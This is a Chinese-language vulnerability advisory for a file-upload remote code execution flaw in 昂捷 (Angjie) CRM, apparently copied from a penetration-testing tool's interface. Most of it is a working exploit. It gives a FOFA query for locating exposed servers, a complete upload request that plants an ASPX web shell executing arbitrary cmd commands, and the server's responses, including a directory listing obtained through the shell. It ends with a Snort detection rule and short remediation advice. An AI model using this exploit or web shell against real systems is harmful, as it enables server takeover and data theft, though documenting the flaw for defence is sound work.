

昂捷CRM UploadFile 文件上传致RCE漏洞

昂捷CRM UploadFile 文件上传致RCE漏洞，攻击者可文件上传获取系统权限。

影响版本

昂捷CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="CheckSilverlightInstalled" && body="AllowHtmlPopupwindow"

POC/EXP：

```
POST /file/UploadFile?fileinfo=
{'UploadUserNo':'0000','LastChunk':true,'FileName':'aaa.aspx','IsUseMongdb':true,
'UploadTime':'2025-06-18T12:11:56'} HTTP/1.1
Host: 127.0.0.1:9006
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
```

```
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
```

发送请求

强制 HTTPS

历史

爆破示例

生成 Yaml

Request

数据包扫描

美化

热加载

构造请求

```
1 POST /file/UploadFile?fileinfo={ 'UploadUserNo': '0000',
2 'LastChunk': true, 'FileName': 'aaa.aspx', 'IsUseMongodb': true,
3 'UploadTime': '2025-06-18T12:11:56' } HTTP/1.1
4 Host : 127.0.0.1:9006
5 Accept: application/json, text/javascript, */*; q=0.01
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
7 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122
8 Safari/537.36
9 Accept-Encoding: gzip, deflate, br
10 Accept-Language: zh-CN, zh; q=0.9
11 Connection: close
12 Content-Type: application/x-www-form-urlencoded
13
14 <%@ Page Language="Jscript" validateRequest="false"%>
15 <%
16 var c=new System.Diagnostics.ProcessStartInfo("cmd");
17 var e=new System.Diagnostics.Process();
18 var out=System.IO.StreamReader,EI:System.IO.StreamReader;
19 c.UseShellExecute=false;
20 c.RedirectStandardOutput=true;
21 c.RedirectStandardError=true;
22 e.StartInfo=c;
23 c.Arguments="/c." + Request.Item["cmd"];
24 e.Start();
25 out=e.StandardOutput;
26 EI=e.StandardError;
27 e.Close();
28 Response.Write(out.ReadToEnd() + EI.ReadToEnd());
29 System.IO.File.Delete(Request.PhysicalPath);
30 Response.End();%>
```

Responses 220bytes / 87ms

美化

编码

详情

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/html; charset=utf-8
4 Vary: Accept-Encoding
5 Server: Microsoft-IIS/10.0
6 X-AspNetMvc-Version: 4.0
7 X-AspNet-Version: 4.0.30319
8 X-Powered-By: ASP.NET
9 Date: Thu, 26 Jun 2025 08:49:32 GMT
10 Connection: close
11 Content-Length: 212
12
13 {
14   "ObjectData": "c13d53f0-23a3-46e1-8fe0-4092ded423a7",
15   "UniqueKey": null,
16   "MethodName": null,
17   "SourceMethodName": null,
18   "Tag": null,
19   "UserState": null,
20   "Exception": null,
21   "HasException": false
22 }
23
```

发送请求

强制 HTTPS

历史

爆破示例

生成 Yaml

Request

数据包扫描

美化

热加载

构造请求

```
1 POST /TempFileNew/0000_202506181211560000_aaa.aspx HTTP/1.1
2 Host : 127.0.0.1:9006
3 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.
4 36 (KHTML, like Gecko) Chrome/105.0.2244.69 Safari/537.36
5 Content-Type: application/x-www-form-urlencoded
6 cmd=dir
```

Responses 5959bytes / 755ms

美化

渲染

编码

详情

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/html; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 X-AspNet-Version: 4.0.30319
6 X-Powered-By: ASP.NET
7 Date: Thu, 26 Jun 2025 08:49:40 GMT
8 Content-Length: 6159
9
10 驱动器 C: 中的卷没有标签。卷的序列号是 8284-6F67
11 C:\Windows\SysWOW64\inet_srv
12 的目录 2024/07/30 13:18
13 <dir>
14 |.. 2024/07/30 13:18
15 |.. 2019/06/12 17:28
16 |.. <dir>
17 |.. 0804 2019/06/12 17:25 208,384 abocomp.dll 2019/06/
18 |.. 12 17:25 288,768
19 |.. adsiis.dll 2021/01/08 06:36 110,080 appcmd.exe 201
20 |.. 07/16 21:20 3,810
21 |.. appcmd.xml 2019/06/11 11:28 57,856 apphostsvc.dll
22 |.. 2021/01/08 06:34 363,008
23 |.. appobj.dll 2021/01/08 06:34 410,624 asp.dll 2019/0
24 |.. 11 11:28 22,196
25 |.. asp.mof 2019/06/11 11:29 116,224 aspnetca.exe 2019
26 |.. 06/11 11:28 23,040
27 |.. asptlb.tlb 2023/09/14 11:05 32,256 authanon.dll
28 |.. 2023/09/14 11:05 33,792
29 |.. authbas.dll 2023/09/14 11:04 24,064 authcert.dll
30 |.. 2023/09/14 11:04 39,936
31 |.. authmap.dll 2019/06/12 17:19 35,840 authmd5.dll
32 |.. 2019/06/11 11:29 47,616
```

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 9006 (
  msg:"Angjie CRM - RCE via File Upload (CVE-2025-XXXX)";
  flow:to_server,established;
  content:"POST"; http_method;
```

```
content: "/file/UploadFile"; http_uri;  
content: "FileName="; http_uri;  
pcre: "/FileName=['\"'][^'\"']*\\.(aspx|jsp|php)['\"']/i";  
content: "<%@ Page"; http_client_body;  
content: "System.Diagnostics.Process"; http_client_body;  
metadata:service http;  
metadata:affected_product "昂捷CRM";  
metadata:vulnerability_type "Unrestricted File Upload → RCE";  
metadata:severity "critical";  
reference:cve,CVE-2025-XXXX;  
classtype:web-application-attack;  
sid:1000193;  
rev:3;  
priority:1;
```

)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。